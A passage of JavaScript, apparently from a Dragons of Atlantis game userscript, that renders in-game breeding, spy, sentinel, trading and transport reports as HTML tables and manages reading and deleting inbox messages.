				var m = '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=center>' + '		<td width=100%><br><span class=' + UID['red'] + '><b>' + translate('breeding-report').toUpperCase() + '</b></span></td>' + '	</tr></table><br>' + '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=left>' + '		<td width=70%>' + '			<label><b>' + translate('breeding-report-description') + '</b></label></td>' + '		<td width=30%>' + '			<label>' + translate('report-no') + ' :</label><b>' + report.id + '</b><br>' + '			<label>' + new Date(report.created_at * 1000).myString() + '</label></td>' + '	</tr>' + '</table><br><br>' + '<div style="height:360px; max-height:360px; overflow-y:auto; white-space:pre-wrap;" width=100%>';
				var dragon = rep.egg;
				for (var i in dragon) {
					var dragon_name = dragon[i].type.substring(dragon[i].type.indexOf('::') + 2);
					dragon_name = (dragon_name == 'CityGreatDragon') ? 'GreatDragon' : dragon_name;
					var dragon_rank = sanctuaryDragonRank[dragon[i].rank];
					dragon_type = dragon[i].gender + '-' + dragon_rank;
					dragon_subtype = ((i == 'city_great_dragon') ? 'great_dragon' : i).replace(/ |_/g, '-');

					m += '<center><table style="margin-top:3px" width=100%>' + '	<tr valign=top>' + '		<td width=100% align=center>' + '			<table class=' + UID['row_style'] + ' width=92%>' + '				<tr class=' + UID['row_headers'] + '>' + '					<td valign=middle width=100% colspan=2><b>' + translateByKey(dragon_subtype, 'rank-' + dragon_type, 'dragons') + '</b></td>' + '				</tr><tr style="border-bottom: 1px solid #898989;">' + '					<td colspan=2>' + translate(dragon[i].gender) + ' ' + translate('level') + ' ' + dragon[i].level + '</td>' + '				</tr>';
					if (dragon[i].abilities || obj.length > 0) {
						var abi = dragon[i].abilities;
						for (var a = 0; a < abi.length; a++) {
							var name = translateByKey('name', abi[a].name.replace(/ |_/g, '-'), 'boosts') + ' ' + abi[a].level;
							var desc = translateByKey('description', abi[a].name.replace(/ |_/g, '-'), 'boosts');
							var rate = ((abi[a].rate < 1) ? numf(abi[a].rate * 100) + '%' : numf(abi[a].rate));
							if (desc.indexOf('n%') > 0) desc = desc.replace('n%', rate);
							if (desc.indexOf('%boost%') > 0) desc = desc.replace('%boost%', rate);
							m += '<tr><td width=40%><b>' + name + '</b></td><td width=60%><span class=jewel>' + desc + '</span></td></tr>';
						}
					}
					m += '			</table>' + '		</td>' + '	</tr>' + '</table></center>';
				}
				m += '</div>';
				return m;
			},
			displayCurseReport: function(report) {
				var t = Messages;
				var rep = report.report;
				var body = translate('curse-report-received-body');
				if (typeof body == 'object') body = body['from-non-alliance'];
				var m = '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=center>' + '		<td width=100%><br><span class=' + UID['red'] + '><b>' + translate('curse-report-received').toUpperCase() + '</b></span></td>' + '	</tr></table><br>' + '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=center>' + '		<td width=100%><b>' + translate('curse-report-received-subtitle') + '</b></td>' + '	</tr><tr><td>&nbsp;</td>' + '	</tr><tr valign=top align=left>' + '		<td><label>' + translate('report-no') + ' :</label><b>' + report.id + '</b></td>' + '	</tr><tr valign=top align=left>' + '		<td><label>' + new Date(report.created_at * 1000).myString() + '</label></td>' + '	</tr>' + '</table><br><br>' + '<center><div style="width:90%; max-width:90%; white-space:pre-wrap;" align=left>' + body.replace('$PlayerName$', '<b>' + rep.cursor_name + '</b>').replace('$ResourceName$', '<b>' + translate(rep.resource_affected) + '</b>').replace('$ResourceName$', '<b>' + translate(rep.resource_affected) + '</b>') + '</div></center>';
				return m;
			},
			displayHatchingReport: function(report) {
				var rep = report.report;
				var m = '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=center>' + '		<td width=100%><br><span class=' + UID['red'] + '><b>' + translate('hatching-report').toUpperCase() + '</b></span></td>' + '	</tr></table><br>' + '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=left>' + '		<td width=70%>' + '			<label><b>' + translate('hatching-report-description') + '</b></label></td>' + '		<td width=30%>' + '			<label>' + translate('report-no') + ' :</label><b>' + report.id + '</b><br>' + '			<label>' + new Date(report.created_at * 1000).myString() + '</label></td>' + '	</tr>' + '</table><br><br>' + '<div style="height:360px; max-height:360px; overflow-y:auto; white-space:pre-wrap;" width=100%>';
				var dragon = rep.dragon;
				for (var i in dragon) {
					var dragon_name = dragon[i].type.substring(dragon[i].type.indexOf('::') + 2);
					dragon_name = (dragon_name == 'CityGreatDragon') ? 'GreatDragon' : dragon_name;
					var dragon_rank = sanctuaryDragonRank[dragon[i].rank];
					dragon_type = dragon[i].gender + '-' + dragon_rank;
					dragon_subtype = ((i == 'city_great_dragon') ? 'great_dragon' : i).replace(/ |_/g, '-');

					m += '<center><table style="margin-top:3px" width=100%>' + '	<tr valign=top>' + '		<td width=100% align=center>' + '			<table class=' + UID['row_style'] + ' width=92%>' + '				<tr class=' + UID['row_headers'] + '>' + '					<td valign=middle width=100% colspan=2><b>' + translateByKey(dragon_subtype, 'rank-' + dragon_type, 'dragons') + '</b></td>' + '				</tr><tr style="border-bottom: 1px solid #898989;">' + '					<td colspan=2>' + translate(dragon[i].gender) + ' ' + translate('level') + ' ' + dragon[i].level + '</td>' + '				</tr>';
					if (dragon[i].abilities || obj.length > 0) {
						var abi = dragon[i].abilities;
						for (var a = 0; a < abi.length; a++) {
							var name = translateByKey('name', abi[a].name.replace(/ |_/g, '-'), 'boosts') + ' ' + abi[a].level;
							var desc = translateByKey('description', abi[a].name.replace(/ |_/g, '-'), 'boosts');
							var rate = ((abi[a].rate < 1) ? numf(abi[a].rate * 100) + '%' : numf(abi[a].rate));
							if (desc.indexOf('n%') > 0) desc = desc.replace('n%', rate);
							if (desc.indexOf('%boost%') > 0) desc = desc.replace('%boost%', rate);
							m += '<tr><td width=40%><b>' + name + '</b></td><td width=60%><span class=jewel>' + desc + '</span></td></tr>';
						}
					}
					m += '			</table>' + '		</td>' + '	</tr>' + '</table></center>';
				}
				m += '</div>';
				return m;
			},
			displayMessage: function(report) {
				var t = Messages;
				var rep = report.report;
				var from = '<b>' + (report.from ? report.from.name : translate('system-title')).toUpperCase() + '</b>' + ((report.from && report.from.alliance) ? ' / ' + report.from.alliance.name : '');
				var to = (rep.alliance ? rep.alliance.name : Seed.player.name);
				var m = '<table style="margin-top:3px" width=95% align=center>' + '	<tr valign=top align=center>' + '		<td width=100%><br><b>' + from + '</b></td>' + '	</tr></table><br>' + '<table style="margin-top:3px" width="520px" align=center>' + '	<tr valign=top>' + '		<td width=70% align=left><b>' + translate('To') + ' : </b>' + to + '<br>' + '		<td width=30% align=right><b>' + translate('Subject') + ' : </b>' + new Date(report.created_at * 1000).myString() + '</td>' + '	</tr><tr valign=top>' + '		<td colspan=2 align=left style="white-space:pre-wrap"><b>' + translate('Subject') + ' : </b>' + report.summary + '</td>' + '	</tr>' + '</table><br>' + '<center><div class=' + UID['status_ticker'] + '	 style="height:470px; max-height:470px; width:520px; max-width:520px; overflow-y:auto; white-space:pre-wrap; background-color:white;" align=left>' + rep.message + '</div></center>';
				return m;
			},
			displayReinforcement: function(report) {
				var rep = report.report;
				var from = rep.sender;
				var from_loc = from.location;
				var to = rep.recipient;
				var to_loc = rep.location;
				var m = '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=center>' + '		<td width=100%><br><span class=' + UID['red'] + '><b>' + translate('reinforcements-have-arrived').toUpperCase() + '</b></span></td>' + '	</tr></table><br>' + '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=left>' + '		<td width=70%>' + '			<label>' + translate('From') + ' : </label><b>' + from.name + '</b>&nbsp;(' + from_loc.title + ' ' + translate('at') + ' ' + from_loc.x + ' / ' + from_loc.y + ')</td>' + '		<td width=30%>' + '			<label>' + translate('report-no') + ' :</label><b>' + report.id + '</b></td>' + '	</tr><tr valign=top align=left>' + '		<td width=70%>&nbsp;</td>' + '		<td width=30%>' + '			<label>' + new Date(report.created_at * 1000).myString() + '</label></td>' + '	</tr><tr valign=top align=left>' + '		<td colspan=2>' + '			<label>' + translate('To') + ' : </label><b>' + to.name + '</b>&nbsp;(' + (to_loc.terrain == 'Outpost' ? translate(to_loc.title) : to_loc.title) + ' ' + translate('at') + ' ' + to_loc.x + ' / ' + to_loc.y + ')</td>' + '	</tr>' + '</table><br><br>' + '<div style="height:360px; max-height:360px; overflow-y:auto; white-space:pre-wrap;" width=100%>' + '<center><table style="margin-top:3px" width=60%>' + '	<tr valign=top>' + '		<td width=100%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr class=' + UID['row_headers'] + '>' + '					<td valign=middle width=60%><b>' + translate('Troops') + '</b></td>' + '					<td valign=middle width=20%><b>' + translate('Quantity') + '</b></td>' + '				</tr>';
				if (from.units) {
					for (var p in from.units) {
						if (p && from.units[p]) {
							m += '			<tr>' + '				<td class=left>' + translate(p) + '</td>' + '				<td align=right>' + numf(from.units[p][0]) + '</td>' + '			</tr>';
						}
					}
				}
				m += '			</table>' + '		</td>' + '	</tr>' + '</table></center>' + '</div>';
				return m;
			},
			displaySentinelReport: function(report) {
				var t = Messages;
				var rep = report.report;
				var from = '<b>Dragon of Atlantis</b>';
				var to = Seed.player.name;
				var m = '<table style="margin-top:3px" width=95% align=center>' + '	<tr valign=top align=center>' + '		<td width=100%><br><b>' + from + '</b></td>' + '	</tr></table><br>' + '<table style="margin-top:3px" width="520px" align=center>' + '	<tr valign=top>' + '		<td width=70% align=left><b>' + translate('To') + ' : </b>' + to + '<br>' + '		<td width=30% align=right><b>' + translate('Subject') + ' : </b>' + new Date(report.created_at * 1000).myString() + '</td>' + '	</tr><tr valign=top>' + '		<td colspan=2 align=left style="white-space:pre-wrap"><b>' + translate('Subject') + ' : </b>' + report.summary + '</td>' + '	</tr>' + '</table><br>' + '<center><div class=' + UID['status_ticker'] + '	 style="height:470px; max-height:470px; width:520px; max-width:520px; overflow-y:auto; white-space:pre-wrap; background-color:white;" align=left>';
				if (rep.warnings) {
					var warn = rep.warnings,
						attacker = '',
						verb = '',
						city_name = Seed.cities[CAPITAL.id].name;
					if (warn.attacker_name) attacker = warn.attacker_name;
					if (warn.attacker_title && warn.attacker_title.alliance) {
						if (attacker) attacker = attacker + ' / ' + warn.attacker_title.alliance;
						else attacker = warn.attacker_title.alliance;
					}
					if (warn.march_type && warn.march_type == 'SpyMarch') verb = translate('sentinel-warning-verb-spy');
					else verb = translate('sentinel-warning-verb-attack');
					if (warn.outpost_attack) {
						var found = false;
						for (var cityIdx = 0; cityIdx < Seed.cities.length && !found; ++cityIdx) {
							if (Seed.cities[cityIdx] && Seed.cities[cityIdx].id == warn.march_incoming) {
								if (Seed.cities[cityIdx].type == 'Outpost')
									city_name = translate(Seed.cities[cityIdx].outpost_type);
								else city_name = Seed.cities[cityIdx].name;
								found = true;
							}
						}
					}

					m += '	<br>' + translate('sentinel-warning-march-incoming').replace('$CITY_NAME$', '<b>' + city_name + '</b>') + '	<br><br>' + translate('sentinel-warning-march-type').replace('$MARCH_VERB$', '<b>' + verb + '</b>');
					if (warn.march_arrival_time)
						m += '	<br><br>' + translate('sentinel-warning-march-arrival-time').replace('$ARRIVES_AT$', '<b>' + warn.march_arrival_time + '</b>');
					if (warn.attacker_coords)
						m += '	<br><br>' + translate('sentinel-warning-attacker-coords').replace('$CITY_X$', '<b>' + warn.attacker_coords.x + '</b>&nbsp;').replace('$CITY_Y$', '&nbsp;<b>' + warn.attacker_coords.y + '</b>');
					if (warn.attacker_units) {
						var units = [],
							troops = '';
						for (var tr in warn.attacker_units) {
							var unit = '- ' + numf(warn.attacker_units[tr], ' ') + ' ' + translate(tr);
							units.push(unit);
						}
						if (units.length > 0) troops = units.join('<br>');
						if (troops) m += '	<br><br>' + translate('sentinel-warning-attacker-types').replace('$UNITS$', '<br><b>' + troops + '</b>');
					}
					if (!is_null(attacker)) m += '<br><br>' + translate('sentinel-warning-attacker-name').replace('$ATTACKER_RACE$', '<b>' + warn.attacker_title.race + '</b>').replace('$ATTACKER_NAME$', '<b>' + attacker + '</b>');
				}
				m += '<br><br>' + translate('sentinel-warning-prepare-for-battle') + '</div></center>';
				return m;
			},
			displaySpyReport: function(report) {
				var rep = report.report;
				var att = rep.attacker;
				var def = rep.defender;
				/* Battle report header section */
				var main_result = '';
				var sub_result = '';
				var is_defender = false;
				var location = (rep.location.terrain == 'Outpost' ? translate(rep.location.title) : (rep.location.terrain == 'City' ? rep.location.title : ''));
				if (location == '')
					location = translate(rep.location.terrain) + ' ' + translate('level') + ' ' + rep.location.level;
				var m = '<table style="margin-top:3px" width=98%>' + '	<tr valign=top align=center>' + '		<td width=100%><br><b><span class=' + UID['red'] + '><b>' + translate('spy-report-title').toUpperCase() + '</b></span></b></td>' + '	</tr></table><br>' + '<table style="margin-top:3px" width=98%>' + '	<tr valign=top>' + '		<td width=50% align=left><label>' + translate('report-no') + ' :</label><b>' + report.id + '</b></td>' + '		<td width=50% align=right><label>' + translate('location') + ' :</label><b>' + location + '</b></td>' + '	</tr><tr valign=top>' + '		<td width=50% align=left><label>' + new Date(report.created_at * 1000).myString() + '</label></td>' + '		<td width=50% align=right><b>' + rep.location.x + ' / ' + rep.location.y + '</b></td>' + '	</tr>' + '</table><br><br>'
				/* Battle report troops section */
				+ '<table style="margin-top:3px" width=98%>' + '	<tr valign=top align=center>' + '		<td width=49%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr>' + '					<td valign=middle colspan=3><b>' + att.name + '</b>&nbsp;<span class=' + UID['red'] + '>' + ((rep.winner == 'attacker') ? translate('victorious') : translate('defeated')) + '</span></td>' + '				</tr><tr class=' + UID['row_headers'] + '>' + '					<td valign=middle width=60%><b>' + translate('Troops') + '</b></td>' + '					<td valign=middle width=20%><b>' + translate('Fought') + '</b></td>' + '					<td valign=middle width=20%><b>' + translate('lost') + '</b></td>' + '				</tr>';
				if (att.units) {
					for (var p in att.units) {
						if (p && att.units[p]) {
							var lost_troops = (att.units[p][0] != att.units[p][1] ? '<span class=' + UID['red'] + '><b>' + numf(att.units[p][0] - att.units[p][1]) + '</b></span>' : 0);
							m += '			<tr>' + '				<td class=left>' + translate(p) + '</td>' + '				<td align=right>' + numf(att.units[p][0]) + '</td>' + '				<td align=right>' + lost_troops + '</td>' + '			</tr>';
						}
					}
				}
				m += '			</table>' + '		</td>' + '		<td width=2%>&nbsp</td>' + '		<td width=49%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr>' + '					<td valign=middle colspan=3><b>' + def.name + '</b>&nbsp;<span class=' + UID['red'] + '>' + ((rep.winner != 'attacker') ? translate('victorious') : translate('defeated')) + '</span></td>' + '				</tr><tr class=' + UID['row_headers'] + '>' + '					<td valign=middle width=60%><b>' + translate('Troops') + '</b></td>' + '					<td valign=middle width=20%><b>' + translate('Fought') + '</b></td>' + '					<td valign=middle width=20%><b>' + translate('lost') + '</b></td>' + '				</tr>';
				if (def.units) {
					for (var p in def.units) {
						if (p && def.units[p]) {
							var name = translate(p),
								multiplier = 1;
							if (def.anthropus) {
								switch (p) {
									case 'Porter':
										name = "Brats";
										multiplier = 3;
										break;
									case 'Conscript':
										name = "Cannibals";
										break;
									case 'Spy':
										name = "Stench";
										break;
									case 'Halberdsman':
										name = "She-Devils";
										multiplier = 2;
										break;
									case 'Minotaur':
										name = "Clubbers";
										multiplier = 2;
										break;
									case 'Longbowman':
										name = "Hurlers";
										multiplier = 3;
										break;
									case 'SwiftStrikeDragon':
										name = "Shredders";
										multiplier = 4;
										break;
									case 'BattleDragon':
										name = "Chieftan";
										multiplier = 4;
										break;
									case 'ArmoredTransport':
										name = "Shaggies";
										multiplier = 5;
										break;
									case 'Giant':
										name = "Bloods";
										multiplier = 5;
										break;
									case 'FireMirror':
										name = "Ragers";
										multiplier = 10;
										break;
									case 'AquaTroop':
										name = "Smash";
										multiplier = 5;
										break;
									case 'StoneTroop':
										name = "Launchers";
										multiplier = 5;
										break;
									case 'FireTroop':
										name = "Gnashers";
										multiplier = 5;
										break;
									case 'WindTroop':
										name = "Divers";
										multiplier = 5;
										break;
									default:
										name = translate(p);
										break;
								}
							}
							var qty = def.units[p][0] * multiplier;
							var survival = def.units[p][1] * multiplier;
							var lost_troops = (qty != survival ? '<span class=' + UID['red'] + '><b>' + numf(qty - survival) + '</b></span>' : 0);
							m += '			<tr>' + '				<td class=left>' + name + '</td>' + '				<td align=right>' + numf(qty) + '</td>' + '				<td align=right>' + lost_troops + '</td>' + '			</tr>';
						}
					}
				}
				m += '			</table>' + '		</td>' + '	</tr>' + '</table><br><br>' + '<div style="height:380px; max-height:380px; overflow-y:auto;" width=98%>' + '<table style="margin-top:3px" width=98%>' + '	<tr valign=top align=center>' + '		<td width=49%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr class=' + UID['row_headers'] + '><td colspan=2 class=left>' + translate('Resources') + '</td></tr>';
				var res = def.intel.resources
				for (var r = 0; r < transportable_resource_types.length; r++) {
					var desc = transportable_resource_types[r];
					if (desc == 'blue_energy') desc = 'blueenergy250k';
					var found = false;
					if (res) {
						for (var p in res) {
							if (p == transportable_resource_types[r]) {
								var res_value = (toNum(res[p]) > 0 ? '<b>' + numf(is_defender ? toNum(res[p]) * -1 : toNum(res[p])) + '</b>' : 0);
								m += '		<tr><td class=left width=50%>' + translate(desc) + '</td><td align=right width=50%>' + res_value + '</td></tr>';
								found = true;
							}
						}
					}
					if (!found)
						m += '		<tr><td class=left width=50%>' + translate(desc) + '</td><td align=right width=50%>0</td></tr>';
				}
				m += '			</table><br>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr class=' + UID['row_headers'] + '>' + '					<td class=left width=70%>' + translate('Research') + '</td>' + '					<td class=left width=30%>' + translate('Level') + '</td></tr>'
				var rsc = def.intel.research
				if (rsc) {
					for (var p in rsc)
						m += '		<tr><td class=left width=50%>' + translate(p) + '</td><td align=right width=50%>' + toNum(rsc[p]) + '</td></tr>';
				}
				m += '			</table>' + '		</td>' + '		<td width=2%>&nbsp</td>' + '		<td width=49% align=left>';
				if (def.intel.last_login)
					m += '		<label>' + translate('last-time-awake') + ' :</label><b>' + new Date(def.intel.last_login * 1000).myString() + '</b><br><br>';
				m += '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr class=' + UID['row_headers'] + '>' + '					<td class=left width=50%>' + translate('Units') + '</td>' + '					<td class=left width=50%>' + translate('Qty') + '</td></tr>'
				var trp = def.intel.defenders
				if (trp) {
					for (var r = 0; r < all_unit_types.length; r++) {
						for (var p in trp) {
							if (p == all_unit_types[r] && toNum(trp[p]) > 0)
								m += '		<tr><td class=left width=50%>' + translate(p) + '</td><td align=right width=50%>' + toNum(trp[p]) + '</td></tr>';
						}
					}
				}
				m += '			</table>' + '		</td>' + '	</tr>' + '</table><br>';
				var lvl = Seed.player.research['Clairvoyance'];
				if (!lvl) lvl = 0;
				else if (lvl > 10) lvl = 10;
				m += '<center><div align=left width=98% style="white-space:pre-wrap;"><label>' + translate('spy-tip-' + lvl) + '&nbsp;' + translate('spy-tip-prefix') + '</label></div></center><br>' + '</div>';
				return m;
			},
			displayTournamentAwardMessage: function(report) {
				var rep = report.report,
					m = '',
					desc = '';
				if (rep.leaderboard)
					desc = translate('award-tournament-description').replace('$type', translate('you-placed')).replace('$rank', rep.leaderboard.rank);
				else desc = translate('award-tournament-description').replace('$type', translate('you-placed'));
				var m = '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=center>' + '		<td width=100%><br><span class=' + UID['red'] + '><b>' + translate('award-tournament-subject').toUpperCase() + '</b></span></td>' + '	</tr></table><br>' + '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=left>' + '		<td width=70% align=left style="white-space:pre-wrap;">' + '			<label><b>' + desc + '</b></label></td>' + '		<td width=30%>' + '			<label>' + translate('report-no') + ' :</label><b>' + report.id + '</b><br>' + '			<label>' + new Date(report.created_at * 1000).myString() + '</label></td>' + '	</tr>' + '</table><br><br>' + '<div style="height:360px; max-height:360px; overflow-y:auto; white-space:pre-wrap;" width=100%>' + '<center><table style="margin-top:3px" width=70%>' + '	<tr valign=top class=' + UID['row_headers'] + '>' + '		<td valign=middle width=100%><b>' + translate('you-won') + '</b></td>' + '	</tr>';
				if (rep.prize)
					m += '		<tr><td>' + rep.prize.quantity + ' ' + translate(rep.prize.item_type) + '</td></tr>';
				m += '</table></center></div>';
				return m;
			},
			displayContestPrizeReport: function(report) {
				var rep = report.report,
					m = '';

				var m = '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=center>' + '		<td width=100%><br><span class=' + UID['red'] + '><b>' + report.summary.toUpperCase() + '</b></span></td>' + '	</tr></table><br>' + '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=left>' + '		<td width=70% align=left style="white-space:pre-wrap;">' + '			<label><b>' + report.summary + '</b></label></td>' + '		<td width=30%>' + '			<label>' + translate('report-no') + ' :</label><b>' + report.id + '</b><br>' + '			<label>' + new Date(report.created_at * 1000).myString() + '</label></td>' + '	</tr>' + '</table><br><br>' + '<div style="height:360px; max-height:360px; overflow-y:auto; white-space:pre-wrap;" width=100%>' + '<center><table style="margin-top:3px" width=70%>' + '	<tr valign=top class=' + UID['row_headers'] + '>' + '		<td valign=middle width=100%><b>' + translate('you-won') + '</b></td>' + '	</tr>';
				for (var i = 0; i < rep.prizes.length; i++)
					m += '		<tr><td>' + rep.prizes[i].quantity + ' ' + translate(rep.prizes[i].name) + '</td></tr>';
				m += '</table></center></div>';
				return m;
			},
			displayTradingReport: function(report) {
				var desc = '',
					title = '',
					user, trade, detail, offer, buyer_seller = '';
				var rep = report.report;
				if (rep.trading_report) trade = rep.trading_report;
				if (trade && trade.details) detail = trade.details;
				if (detail) {
					offer = detail.offer;
					switch (detail.type) {
						case 'sale':
							desc = 'sale-summary';
							title = 'Buyer';
							user = detail.purchaser;
							break;
						case 'delivery':
							desc = 'delivery-summary';
							title = 'Seller';
							user = offer.seller;
							break;
						case 'pillaged':
							desc = 'pillaged-summary';
							break;
						case 'expired':
							desc = 'expired-summary';
							break;
					}
				} else {
					desc = 'unknown';
					title = 'unknown';
				}
				if (!is_null(user))
					buyer_seller = translate(title) + '&nbsp;:&nbsp;<b>' + user.name.toUpperCase() + '</b>' + (user.alliance ? ' / ' + user.alliance.name : '');
				var m = '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=center>' + '		<td width=100%><br><span class=' + UID['red'] + '><b>' + translate('trading-report').toUpperCase() + '</b></span></td>' + '	</tr></table><br>' + '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=left>' + '		<td width=70%>' + '			<label><b>' + translate(desc) + '</b></label></td>' + '		<td width=30%>' + '			<label>' + translate('report-no') + ' :</label><b>' + report.id + '</b></td>' + '	</tr><tr valign=top align=left>' + '		<td width=70%>&nbsp;</td>' + '		<td width=30%>' + '			<label>' + (trade ? TimeStampToDate(trade.created_at).myString() : new Date(report.created_at * 1000).myString()) + '</label></td>';
				if (!is_null(user))
					m += '	</tr><tr valign=top align=left>' + '		<td colspan=2>' + buyer_seller + '</td>';
				m += '	</tr>' + '</table><br><br>' + '<div style="height:360px; max-height:360px; overflow-y:auto; white-space:pre-wrap;" width=100%>' + '<center><table style="margin-top:3px" width=60%>' + '	<tr valign=top>' + '		<td width=100%>' + '			<table class=' + UID['row_style'] + ' width=90%>' + '				<tr class=' + UID['row_headers'] + '>' + '					<td valign=middle width=60%><b>' + translate('Ressource') + '</b></td>' + '					<td valign=middle width=20%><b>' + translate('Quantity') + '</b></td>' + '					<td valign=middle width=20%><b>' + translate('Price') + '</b></td>' + '				</tr>';
				if (offer) {
					m += '			<tr>' + '				<td>' + translate(offer.product) + '</td>' + '				<td>' + numf(offer.units) + '</td>' + '				<td>' + numf(offer.price) + '</td>' + '			</tr>';
				}
				m += '			</table>' + '		</td>' + '	</tr>' + '</table></center>' + '</div>';
				return m;
			},
			displayTransportReport: function(report) {
				var rep = report.report;
				var from = rep.sender;
				var from_loc = from.location;
				var to = rep.recipient;
				var to_loc = rep.location;
				var res = rep.spoils;
				var m = '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=center>' + '		<td width=100%><br><span class=' + UID['red'] + '><b>' + translate('transfer-goods').toUpperCase() + '</b></span></td>' + '	</tr></table><br>' + '<table style="margin-top:3px" width=100%>' + '	<tr valign=top align=left>' + '		<td width=70%>' + '			<label>' + translate('From') + ' : </label><b>' + from.name + '</b>&nbsp;(' + from_loc.title + ' ' + translate('at') + ' ' + from_loc.x + ' / ' + from_loc.y + ')</td>' + '		<td width=30%>' + '			<label>' + translate('report-no') + ' :</label><b>' + report.id + '</b></td>' + '	</tr><tr valign=top align=left>' + '		<td width=70%>&nbsp;</td>' + '		<td width=30%>' + '			<label>' + new Date(report.created_at * 1000).myString() + '</label></td>' + '	</tr><tr valign=top align=left>' + '		<td colspan=2>' + '			<label>' + translate('To') + ' : </label><b>' + to.name + '</b>&nbsp;(' + (to_loc.terrain == 'Outpost' ? translate(to_loc.title) : to_loc.title) + ' ' + translate('at') + ' ' + to_loc.x + ' / ' + to_loc.y + ')</td>' + '	</tr>' + '</table><br><br>' + '<div style="height:360px; max-height:360px; overflow-y:auto; white-space:pre-wrap;" width=100%>' + '<center><table style="margin-top:3px" width=60%>' + '	<tr valign=top>' + '		<td width=100%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr class=' + UID['row_headers'] + '>' + '					<td valign=middle width=60%><b>' + translate('Troops') + '</b></td>' + '					<td valign=middle width=20%><b>' + translate('Quantity') + '</b></td>' + '				</tr>';
				if (from.units) {
					for (var p in from.units) {
						if (p && from.units[p]) {
							m += '			<tr>' + '				<td class=left>' + translate(p) + '</td>' + '				<td align=right>' + numf(from.units[p][0]) + '</td>' + '			</tr>';
						}
					}
				}
				m += '			</table>' + '		</td>' + '	</tr><tr valign=top><td>&nbsp;</td>' + '	</tr><tr valign=top>' + '		<td width=100%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr class=' + UID['row_headers'] + '>' + '					<td valign=middle width=60%><b>' + translate('Resources') + '</b></td>' + '					<td valign=middle width=20%><b>' + translate('Quantity') + '</b></td>' + '				</tr>';
				if (res) {
					for (var r = 0; r < transportable_resource_types.length; r++) {
						var desc = transportable_resource_types[r];
						if (desc == 'blue_energy') desc = 'blueenergy250k';
						var found = false;
						for (var p in res) {
							if (p == transportable_resource_types[r]) {
								m += '		<tr><td class=left width=50%>' + translate(desc) + '</td><td align=right width=50%><b>' + numf(toNum(res[p])) + '</b></td></tr>';
								found = true;
							}
						}
						if (!found)
							m += '		<tr><td class=left width=50%>' + translate(desc) + '</td><td align=right width=50%>0</td></tr>';
					}
				}
				m += '			</table>' + '		</td>' + '	</tr>' + '</table></center>' + '</div>';
				return m;
			},
			getFirstPage: function(type, callback) {
				var category = 'all';
				MyAjax.messageList(category, 1, MAX_READ, function(rslt) {
					/* var types = [];
			for (var i in Messages.details) {
				var found = false;
				for (var j=0; j<types.length && !found; j++) {
					if (Messages.details[i].type == types[j]) found = true;
				}
				if (!found) types.push(Messages.details[i].type);
			}
			logit('Message types = '+inspectObj(types,6,1));
			*/
					if (callback) callback(Messages.details);
				});
			},
			updateUnreadCount: function() {
				var t = Messages,
					total = 0,
					count = 0,
					color = '';
				for (var i in t.details) {
					total++;
					count += (t.details[i].unread ? 1 : 0);
				}
				t.unread_count = count;
				t.known_count = total;
				if (document.getElementById(UID['tabInbox_UnreadCount'])) {
					if (Data.options.currentTab == 'Inbox') color = 'yellow';
					else color = 'red';
					document.getElementById(UID['tabInbox_UnreadCount']).innerHTML = translate('Inbox') + (t.unread_count > 0 ? '&nbsp<font color=' + color + '>' + t.unread_count + '</font>' : '');
				}
			},

			/* Inbox messages deletion */
			dealMessages: function(mode, period, callback) {
				var t = Messages;
				t.mode = mode;
				t.period = period;
				t.callback = callback;
				t.messageDeletion = true;
				t.totMessages = 0;
				t.pagesMessages = 0;
				t.steps = ((mode == 'del') ? 3 : 1);
				t.step = 0;
				t.percent = toNum(t.step * 100 / t.steps);
				t.read_battle = 0;
				t.total_battle = 0;
				t.delete_count = 0;
				t.total_to_delete = 0;
				t.old_percent = 0;
				t.result_count = 0;

				progressBar.update({
					step: t.percent
				});
				MyAjax.messageList('all', -1, 12, function(rslt) {
					var t = Messages;
					if (rslt == null || rslt.total == null) {
						t.messageDeletion = false;
						return;
					}
					var t = Messages;
					t.totMessages = toNum(rslt.total);
					/*logit('Messages.deleteMessages : Total number of messages = '+t.totMessages);*/
					if (t.totMessages == 0) {
						t.messageDeletion = false;
						return;
					} else {
						t.pagesMessages = toNum(t.totMessages / MAX_READ);
						if (t.totMessages % MAX_READ != 0) t.pagesMessages++;
						t.steps += t.pagesMessages;
						t.pageReading = t.pagesMessages;
						clearTimeout(t.readPagesTimer);
						t.readPagesTimer = setTimeout(t.readPages, 2000);
					}
				});
				t.waitCompletion();
			},
			deleteMessages: function(callback) {
				var t = Messages;
				t.callback = callback;
				t.messageDeletion = true;
				t.steps = 1;
				t.step = -1;
				t.percent = 0;
				t.delete_count = 0;
				t.total_to_delete = 0;
				t.delete_percent = 0;
				t.old_percent = 0;
				t.result_count = 0;
				progressBar.update({
					step: t.percent
				});

				for (var i in Messages.details) {
					if (Messages.details[i].checked) t.total_to_delete++;
				}
				if (t.total_to_delete > 0) t.deleteSelected();
				else t.messageDeletion = false;
				t.waitCompletion();
			},
			waitCompletion: function() {
				var t = Messages;
				if (t.messageDeletion) {
					setTimeout(t.waitCompletion, 1000);
				} else {
					if (t.callback) {
						t.callback({
							done: true,
							count: t.result_count
						});
						return;
					}
				}
			},
			readPages: function() {
				var t = Messages;
				if (t.pageReading > 0) {
					var pages_min = (((t.pageReading - 1) * MAX_READ) / 12) + 1;
					var pages_max = ((t.pageReading * MAX_READ) / 12);
